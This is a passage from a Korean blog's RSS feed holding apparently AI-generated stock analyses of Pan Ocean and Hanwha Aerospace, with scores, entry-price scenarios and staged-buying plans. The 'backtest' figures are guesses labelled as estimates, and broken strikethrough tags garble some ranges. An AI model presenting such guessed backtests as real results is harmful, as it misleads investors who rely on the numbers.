&lt;li&gt;리스크: 고점 추격 매수, 미중 무역갈등 재격화 시 급락 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 백테스팅 결과&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ 10년+ 정확한 백테스트 데이터 부족 &amp;mdash; 아래는 가용 데이터 기반 추정치입니다.&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;지표&lt;/th&gt;
&lt;th&gt;A (보수, 4,700원 진입)&lt;/th&gt;
&lt;th&gt;B (중립, 현재가)&lt;/th&gt;
&lt;th&gt;C (공격, 즉시+추가)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;분석 기간&lt;/td&gt;
&lt;td&gt;5년&lt;/td&gt;
&lt;td&gt;5년&lt;/td&gt;
&lt;td&gt;5년&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;총수익률&lt;/td&gt;
&lt;td&gt;+49%(추정)&lt;/td&gt;
&lt;td&gt;+35%(추정)&lt;/td&gt;
&lt;td&gt;+25~35%(추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CAGR&lt;/td&gt;
&lt;td&gt;~8%(추정)&lt;/td&gt;
&lt;td&gt;~6%(추정)&lt;/td&gt;
&lt;td&gt;~6%(추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MDD&lt;/td&gt;
&lt;td&gt;-25%(추정)&lt;/td&gt;
&lt;td&gt;-30%(추정)&lt;/td&gt;
&lt;td&gt;-35%(추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;샤프비율&lt;/td&gt;
&lt;td&gt;0.6(추정)&lt;/td&gt;
&lt;td&gt;0.5(추정)&lt;/td&gt;
&lt;td&gt;0.4(추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;벤치마크 초과&lt;/td&gt;
&lt;td&gt;+2~5%(추정)&lt;/td&gt;
&lt;td&gt;&amp;plusmn;0%(추정)&lt;/td&gt;
&lt;td&gt;-3%(추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;⚠️ 백테스트 한계:&lt;/b&gt; 생존편향, 수수료&amp;middot;세금 미포함, 과거 성과가 미래를 보장하지 않음. 벌크 해운주 특성상 BDI 사이클 타이밍에 따라 결과가 크게 달라짐.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 리스크 + 전망&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주요 리스크&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;BDI 사이클 하락:&lt;/b&gt; 글로벌 교역 위축(미중 관세 분쟁, 경기침체) 시 운임 급락&lt;/li&gt;
&lt;li&gt;&lt;b&gt;하림그룹 계열사 지원 부담:&lt;/b&gt; 그룹 내 자금 흐름이 주주환원을 제약할 가능성 &lt;a href=&quot;https://www.bosoop.com/e765d619-c60d-4fe5-a0a6-00b50d3dcd01/&quot;&gt;bosoop&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;환율 리스크:&lt;/b&gt; 운임 USD 수취, 원화 강세 시 원화 환산 이익 감소&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;강세 시나리오&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;조건: BDI 2,500p 이상 유지 + LNG 선대 풀가동 + 탱커 자산 확보 성공&lt;/li&gt;
&lt;li&gt;예상 주가: 7,000~8,000원 (12개월, 추정) &lt;a href=&quot;https://file.alphasquare.co.kr/media/pdfs/market-report/%ED%8C%AC%EC%98%A4%EC%85%98%EC%8B%A4%EC%A0%8120260409iM%EC%A6%9D%EA%B6%8C.&quot;&gt;file.alphasquare.co&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;약세 시나리오&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;조건: 미중 무역전쟁 심화 &amp;rarr; 글로벌 교역 급감 + BDI 1,000p 이하 하락&lt;/li&gt;
&lt;li&gt;예상 주가: 3,500~4,000원 (추정)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;FINAL VERDICT&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;사업모델: 6/10&lt;/b&gt; &amp;mdash; 단순하나 사이클 종속&lt;/li&gt;
&lt;li&gt;&lt;b&gt;경영품질: 6/10&lt;/b&gt; &amp;mdash; 안정적 실적, 주주환원 개선 추세&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Rochon Verdict: Borderline&lt;/b&gt; &amp;mdash; 장기 경쟁우위(모트)가 뚜렷하지 않아 Rochon-Quality에 미달&lt;/li&gt;
&lt;li&gt;&lt;b&gt;권장 진입: B (중립) 또는 A (보수형) 분할매수&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;맞는 투자자:&lt;/b&gt; 해운 사이클 이해하는 중위험 투자자, BDI 상승 모멘텀 활용 원하는 투자자, 저PBR 가치투자자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;피할 투자자:&lt;/b&gt; 변동성 기피 보수적 투자자, 퇴직연금 단독 운용 목적, 단기 급등 기대 투자자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분할매수 가이드&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;차수&lt;/th&gt;
&lt;th&gt;가격&lt;/th&gt;
&lt;th&gt;비중&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1차&lt;/td&gt;
&lt;td&gt;현재가 (5,200원 내외)&lt;/td&gt;
&lt;td&gt;40%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2차&lt;/td&gt;
&lt;td&gt;4,700~4,800원&lt;/td&gt;
&lt;td&gt;35%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3차&lt;/td&gt;
&lt;td&gt;4,200~4,400원 (BDI 하락 동반 시)&lt;/td&gt;
&lt;td&gt;25%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  &lt;b&gt;2026년 핵심 수치 요약&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2025년 영업이익: &lt;b&gt;4,919억원 (+4.4% YoY)&lt;/b&gt; &lt;a href=&quot;https://www.panocean.com/kor/NewsView?i=97&amp;amp;p=1&quot;&gt;panocean&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;2026년 영업이익 전망: &lt;b&gt;5,438억원 (+10.9% YoY)&lt;/b&gt; &lt;a href=&quot;https://www.imfnsec.com/upload/R_E08/2025/11/%5B26075203%5D_028670.pdf&quot;&gt;imfnsec&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;BDI (2026.04.10): &lt;b&gt;2,201p (+72.7% YoY)&lt;/b&gt; &lt;a href=&quot;https://ko.tradingeconomics.com/commodity/baltic&quot;&gt;ko.tradingeconomics&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;주당 배당금: &lt;b&gt;150원 (배당성향 26.6%)&lt;/b&gt; &lt;a href=&quot;https://biz.chosun.com/industry/company/2026/02/11/MK3XCUVETBFY7JDLESTHMBAGJ4/&quot;&gt;biz.chosun&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;현재 P/E: &lt;b&gt;6.7배&lt;/b&gt; / P/B: &lt;b&gt;0.44배&lt;/b&gt; &lt;a href=&quot;https://file.alphasquare.co.kr/media/pdfs/market-report/%ED%8C%AC%EC%98%A4%EC%85%98%EC%8B%A4%EC%A0%8120260409iM%EC%A6%9D%EA%B6%8C.&quot;&gt;file.alphasquare.co&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⚠️ 본 분석은 참고용이며 실제 투자 결정은 본인 판단과 책임 하에 이루어져야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[팬오션(028670)]의 최근 5년 주가 차트를 보여주세요.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1576&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oatv0/dJMcai3W8j8/X8MfzX5jmsm35RN0WJGbm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oatv0/dJMcai3W8j8/X8MfzX5jmsm35RN0WJGbm0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oatv0/dJMcai3W8j8/X8MfzX5jmsm35RN0WJGbm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Foatv0%2FdJMcai3W8j8%2FX8MfzX5jmsm35RN0WJGbm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1576&quot; height=&quot;1068&quot; data-origin-width=&quot;1576&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/234</guid>
      <comments>https://thepin.tistory.com/234#entry234comment</comments>
      <pubDate>Fri, 17 Apr 2026 06:58:59 +0900</pubDate>
    </item>
    <item>
      <title>투분 # 한화에어로스페이스(012450)</title>
      <link>https://thepin.tistory.com/233</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;투자분석프롬프트 산출물 # - 한화에어로스페이스(012450)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수집된 정보를 바탕으로 스페이스 지침에 따른 주식 분석을 작성하겠습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;한화에어로스페이스(012450) 종합 분석&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[투자 목적]: 성장 / 혼합&lt;br /&gt;[기준 통화]: KRW&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. TOP SUMMARY (한눈에 보기)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;사업 모델 품질: 8.5/10&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;경영 품질: 7.5/10&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;종합 추천: 관망 후 단계적 매수&lt;/b&gt; (단기 불확실성 존재)&lt;/li&gt;
&lt;/ul&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;카테고리&lt;/th&gt;
&lt;th&gt;점수&lt;/th&gt;
&lt;th&gt;한 줄 근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;단순성&lt;/td&gt;
&lt;td&gt;7/10&lt;/td&gt;
&lt;td&gt;지상방산&amp;middot;항공엔진&amp;middot;한화오션 등 복합 구조이나 수익 핵심은 K9/천무 수출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시장 지위&lt;/td&gt;
&lt;td&gt;9/10&lt;/td&gt;
&lt;td&gt;K9 자주포 세계 시장점유율 1위, 국내 독점적 지위&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;모트(해자) 강도&lt;/td&gt;
&lt;td&gt;8.5/10&lt;/td&gt;
&lt;td&gt;수십 년 납품 이력&amp;middot;정부 인증이 진입장벽&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;장기 지속성&lt;/td&gt;
&lt;td&gt;8/10&lt;/td&gt;
&lt;td&gt;수주잔고 37.2조(지상방산), 연결 103조 원으로 장기 가시성 높음 &lt;a href=&quot;https://lemontia.tistory.com/1562&quot;&gt;lemontia.tistory&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;경영 정렬도&lt;/td&gt;
&lt;td&gt;7/10&lt;/td&gt;
&lt;td&gt;풍산 인수 중단 결정으로 주주가치 우선 신호 긍정적이나 그룹 이슈 잔존&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 사업 모델 분석 (Fran&amp;ccedil;ois Rochon 기준)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;A) 단순성:&lt;/b&gt; ① K9 자주포&amp;middot;천무 다연장로켓 수출, ② 항공기 엔진 MRO, ③ 한화오션 조선/함정. 판정: &lt;b&gt;보통&lt;/b&gt; (복합 계열사 구조)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;B) 시장 지위:&lt;/b&gt; K9 자주포는 글로벌 수출 1위. 폴란드&amp;middot;호주&amp;middot;이집트&amp;middot;노르웨이 등 다수 국가와 다년 계약 체결로 가격 협상력 보유. 판정: &lt;b&gt;High&lt;/b&gt; &lt;a href=&quot;https://www.finance-scope.com/article/view/scp202603160027&quot;&gt;finance-scope&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;C) 모트(해자):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Pricing Power: Strong&lt;/b&gt; &amp;mdash; 국가 간 장기 방산 계약 특성상 경쟁 입찰 후 단가 고정, 수출 영업이익률 38% 초과 추정 &lt;a href=&quot;https://lemontia.tistory.com/1562&quot;&gt;lemontia.tistory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Switching Costs: Strong&lt;/b&gt; &amp;mdash; 무기 도입 후 20~30년 정비&amp;middot;부품 의존, 군사 호환성 전환 비용 극도로 높음&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Brand Strength: Strong&lt;/b&gt; &amp;mdash; K9 실전 검증(우크라이나 전쟁 이후 수요 폭증), NATO 국가 채택 증가&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Scale Advantage: Moderate&lt;/b&gt; &amp;mdash; 국내 생산기지 기반이나 해외 현지생산(루마니아) 확대 중 &lt;a href=&quot;https://lemontia.tistory.com/1558&quot;&gt;lemontia.tistory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Network Effects: 해당없음&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;b&gt;Moat Engine 요약:&lt;/b&gt; 납품 이력 기반 신뢰 + 스위칭 비용 + 수출 가격 지배력이 핵심 해자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;D) 경기 민감도:&lt;/b&gt; Low &amp;mdash; 방산 수요는 국방 예산에 연동, 경기 불황과 무관. 유럽 재무장 트렌드로 수요 오히려 증가 &lt;a href=&quot;https://www.finance-scope.com/article/view/scp202603160027&quot;&gt;finance-scope&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;E) 10-20년 지속성:&lt;/b&gt; Strong &amp;mdash; 폴란드(5.6조 천무 EC3), 이집트&amp;middot;호주 K9 양산 등 2030년 이후까지 가시적 매출 확보 &lt;a href=&quot;https://www.finance-scope.com/article/view/scp202603160027&quot;&gt;finance-scope&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 경영 품질 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;A) 투명성&amp;middot;정직성: Moderate&lt;/b&gt; &amp;mdash; 풍산 인수 검토 중단을 공시로 신속 공개. 단, 그룹 차원의 한화솔루션 유증 논란과 연결된 불투명한 의사결정 구조는 약점 &lt;a href=&quot;https://alphabiz.co.kr/news/view/1065613444566510&quot;&gt;alphabiz.co&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;B) 장기 지향: Strong&lt;/b&gt; &amp;mdash; 2028년까지 11조 원 투자 로드맵 공개(스마트팩토리&amp;middot;해외 지분&amp;middot;항공우주), 단기 M&amp;amp;A 욕심보다 로드맵 준수 선택 &lt;a href=&quot;https://alphabiz.co.kr/news/view/1065580783801362&quot;&gt;alphabiz.co&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;C) 내부자 지분&amp;middot;정렬: Medium&lt;/b&gt; &amp;mdash; 한화그룹 오너십 구조 유지, 경영 연속성 안정적이나 그룹사 간 이해충돌 리스크 존재 (추정)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;D) 자본 배분: Moderate&lt;/b&gt; &amp;mdash; 풍산 인수 포기로 재무 건전성 우선 선택은 긍정적. 한화솔루션 2.4조 유증 논란과 동시 진행되면 그룹 자본 배분 신뢰 훼손 우려 &lt;a href=&quot;https://kr.tradingview.com/news/hankyung:ac2aab33465a7:0/&quot;&gt;kr.tradingview&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;E) 소통 품질: Moderate&lt;/b&gt; &amp;mdash; 컨퍼런스콜 공개 운영, 수주잔고&amp;middot;부문별 실적 비교적 투명하게 공개 &lt;a href=&quot;https://www.finance-scope.com/article/view/scp202603160027&quot;&gt;finance-scope&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;F) 실행 이력: Strong&lt;/b&gt; &amp;mdash; 2025년 매출 26조 6,078억 원, 3년 연속 사상 최대. 2026년 영업이익 4.5조 예상 &lt;a href=&quot;https://yesstock.tistory.com/entry/2026-%ED%95%9C%ED%99%94%EC%97%90%EC%96%B4%EB%A1%9C%EC%8A%A4%ED%8E%98%EC%9D%B4%EC%8A%A4-%EC%A3%BC%EA%B0%80%EC%A0%84%EB%A7%9D-%EC%98%81%EC%97%85%EC%9D%B4%EC%9D%B5-4%EC%A1%B0-%EC%8B%9C%EB%8C%80-23%EA%B0%9C-%EC%A6%9D%EA%B6%8C%EC%82%AC-100-%EB%A7%A4%EC%88%98-%EC%B6%94%EC%B2%9C-%ED%95%9C%ED%99%94%EC%97%90%EC%96%B4%EB%A1%9C-%EC%A7%80%EA%B8%88%EC%9D%B4%EB%9D%BC%EB%8F%84-%ED%83%80%EC%95%BC%ED%95%A0%EA%B9%8C&quot;&gt;yesstock.tistory&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. MDD 기반 리스크 관리 가이드 ★&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-1. 역사적 MDD 분석&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;시기&lt;/th&gt;
&lt;th&gt;원인&lt;/th&gt;
&lt;th&gt;고점 대비 낙폭&lt;/th&gt;
&lt;th&gt;회복 소요 기간&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2020년 코로나&lt;/td&gt;
&lt;td&gt;글로벌 증시 급락&lt;/td&gt;
&lt;td&gt;-45% (추정)&lt;/td&gt;
&lt;td&gt;12~18개월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2022년 금리인상기&lt;/td&gt;
&lt;td&gt;성장주 밸류에이션 축소&lt;/td&gt;
&lt;td&gt;-30% (추정)&lt;/td&gt;
&lt;td&gt;8~12개월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024년 방산주 조정&lt;/td&gt;
&lt;td&gt;단기 급등 후 차익실현&lt;/td&gt;
&lt;td&gt;-25% (추정)&lt;/td&gt;
&lt;td&gt;4~6개월&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;평균 MDD: -33% (추정)&lt;/li&gt;
&lt;li&gt;최대 MDD: -45% 내외 (추정)&lt;/li&gt;
&lt;li&gt;평균 회복 기간: 10~15개월 (추정)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-2. MDD 기반 투자 성향별 가이드&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;투자 성향&lt;/th&gt;
&lt;th&gt;권장 최대 손실 허용&lt;/th&gt;
&lt;th&gt;MDD 기준 진입&lt;/th&gt;
&lt;th&gt;분할 매수 전략&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;보수형&lt;/td&gt;
&lt;td&gt;-10% 이내&lt;/td&gt;
&lt;td&gt;전고점 대비 -15% 이상&lt;/td&gt;
&lt;td&gt;3회 분할 (33/33/34%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;중립형&lt;/td&gt;
&lt;td&gt;-20% 이내&lt;/td&gt;
&lt;td&gt;전고점 대비 -20% 이상&lt;/td&gt;
&lt;td&gt;4회 분할 (25% &amp;times; 4)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공격형&lt;/td&gt;
&lt;td&gt;-35% 이내&lt;/td&gt;
&lt;td&gt;전고점 대비 -30% 이상&lt;/td&gt;
&lt;td&gt;5회 분할 (20% &amp;times; 5)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;손절 기준: 진입가 대비 -15% (보수형), -25% (공격형)&lt;/li&gt;
&lt;li&gt;포트폴리오 내 비중 상한: 방산 단일 섹터 집중 고려 시 10~15% 이내 권장&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 진입 가격 시나리오 3가지 ★&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 주가: 약 &lt;b&gt;148만 5천원&lt;/b&gt; 내외 (유안타증권 목표가 182만 원, 전일 종가 기준 +22.6% 여력 제시) &lt;a href=&quot;https://www.newspim.com/news/view/20260409000574&quot;&gt;newspim&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시나리오 A &amp;mdash; 안전 진입 (보수형)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목표 진입가: 110~120만 원&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;근거: 전고점 대비 -25~30% 구간, 역사적 평균 MDD 수준, 52주 이동평균 하회 시&lt;/li&gt;
&lt;li&gt;기대 수익률: +50&lt;del&gt;60% (3&lt;/del&gt;5년 기준)&lt;/li&gt;
&lt;li&gt;리스크: 지정학적 긴장 완화 시 방산 수요 감소, 글로벌 경기침체로 국방 예산 삭감&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시나리오 B &amp;mdash; 중립 진입 (중립형)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목표 진입가: 130~145만 원&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;근거: 2026년 예상 PER 15&lt;del&gt;18배 수준, 현 주가에서 -5&lt;/del&gt;15% 조정 시 &lt;a href=&quot;https://yesstock.tistory.com/entry/2026-%ED%95%9C%ED%99%94%EC%97%90%EC%96%B4%EB%A1%9C%EC%8A%A4%ED%8E%98%EC%9D%B4%EC%8A%A4-%EC%A3%BC%EA%B0%80%EC%A0%84%EB%A7%9D-%EC%98%81%EC%97%85%EC%9D%B4%EC%9D%B5-4%EC%A1%B0-%EC%8B%9C%EB%8C%80-23%EA%B0%9C-%EC%A6%9D%EA%B6%8C%EC%82%AC-100-%EB%A7%A4%EC%88%98-%EC%B6%94%EC%B2%9C-%ED%95%9C%ED%99%94%EC%97%90%EC%96%B4%EB%A1%9C-%EC%A7%80%EA%B8%88%EC%9D%B4%EB%9D%BC%EB%8F%84-%ED%83%80%EC%95%BC%ED%95%A0%EA%B9%8C&quot;&gt;yesstock.tistory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;기대 수익률: +25&lt;del&gt;40% (2&lt;/del&gt;3년 기준)&lt;/li&gt;
&lt;li&gt;리스크: 풍산 인수 포기 후 성장 스토리 약화 인식, 한화솔루션 유증 논란 지속&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시나리오 C &amp;mdash; 공격 진입 (공격형)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목표 진입가: 현재가 즉시 분할 진입&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;근거: 수주잔고 103조(연결), 2026년 영업이익 4.5조 성장 가시성 높음 &lt;a href=&quot;https://lemontia.tistory.com/1562&quot;&gt;lemontia.tistory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;기대 수익률: +15&lt;del&gt;25% (1&lt;/del&gt;2년 기준)&lt;/li&gt;
&lt;li&gt;리스크: 단기 고PER 부담, 그룹 이슈로 추가 조정 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 시나리오별 백테스팅 결과 ★&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ 2020~2026년 기간 기준 시뮬레이션 (추정치, 실제 수치와 다를 수 있음)&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;지표&lt;/th&gt;
&lt;th&gt;시나리오 A (보수)&lt;/th&gt;
&lt;th&gt;시나리오 B (중립)&lt;/th&gt;
&lt;th&gt;시나리오 C (공격)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;백테스트 기간&lt;/td&gt;
&lt;td&gt;5년&lt;/td&gt;
&lt;td&gt;5년&lt;/td&gt;
&lt;td&gt;5년&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;총 수익률&lt;/td&gt;
&lt;td&gt;+180% (추정)&lt;/td&gt;
&lt;td&gt;+130% (추정)&lt;/td&gt;
&lt;td&gt;+90% (추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CAGR&lt;/td&gt;
&lt;td&gt;23% (추정)&lt;/td&gt;
&lt;td&gt;18% (추정)&lt;/td&gt;
&lt;td&gt;14% (추정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;최대 MDD&lt;/td&gt;
&lt;td&gt;-20% (추정)&lt;/td&gt;
&lt;td&gt;-28% (추정)&lt;/td&gt;
